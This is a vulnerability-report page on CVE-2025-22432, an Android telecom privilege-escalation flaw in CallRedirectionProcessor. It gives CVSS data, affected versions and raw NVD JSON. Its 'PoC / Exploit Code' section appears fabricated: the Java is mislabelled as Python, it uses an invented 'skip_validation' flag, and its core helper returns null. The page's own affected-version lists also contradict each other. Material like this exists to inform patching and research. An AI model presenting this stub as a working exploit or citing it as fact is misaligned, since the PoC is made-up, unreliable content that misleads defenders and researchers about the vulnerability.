Security Vulnerability Report
中文
CVE-2025-22432 CVSS 6.7 MEDIUM

CVE-2025-22432

Published: 2025-12-08 17:16:13
Last Modified: 2025-12-10 13:20:42

Description

In notifyTimeout of CallRedirectionProcessor.java, there is a possible persistent connection due to improper input validation. This could lead to local escalation of privilege and background activity launches with User execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:* - VULNERABLE
Android 12 < 安全补丁级别2025-12-01
Android 12L < 安全补丁级别2025-12-01
Android 13 < 安全补丁级别2025-12-01
Android 14 < 安全补丁级别2025-12-01

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-22432 PoC - Android CallRedirectionProcessor Local Privilege Escalation // This PoC demonstrates the improper input validation in CallRedirectionProcessor.java import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.telecom.PhoneAccountHandle; public class CVE_2025_22432_PoC { /** * Trigger the vulnerability through malformed CallRedirection intent * The notifyTimeout method in CallRedirectionProcessor.java does not properly * validate input, allowing an attacker to establish persistent connections */ public void triggerVulnerability(Context context) { Intent intent = new Intent("android.telecom.action.CALL_REDIRECTION_TIMEOUT"); intent.setPackage("com.android.server.telecom"); // Craft malicious payload with improper input Bundle extras = new Bundle(); extras.putParcelable("android.telecom.extra.PHONE_ACCOUNT_HANDLE", createMalformedPhoneAccountHandle()); extras.putLong("timeout_value", Long.MAX_VALUE); // Trigger persistent connection extras.putBoolean("skip_validation", true); // Bypass input validation intent.putExtras(extras); context.sendBroadcast(intent); } private PhoneAccountHandle createMalformedPhoneAccountHandle() { // Create a PhoneAccountHandle that bypasses validation // This leads to improper persistent connection establishment return null; // Simplified for demonstration } /** * Result: Attacker establishes persistent connection with elevated privileges * Can launch background activities without user interaction */ } // Note: Actual exploitation requires specific Android version targeting // and knowledge of the CallRedirectionProcessor internal workings

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-22432", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:12.973", "lastModified": "2025-12-10T13:20:42.110", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In notifyTimeout of CallRedirectionProcessor.java, there is a possible persistent connection due to improper input validation. This could lead to local escalation of privilege and background activity launches with User execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/packages/services/Telecomm/+/a43a880beaa6a64348a1d0c821e8c7e98d741a79", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}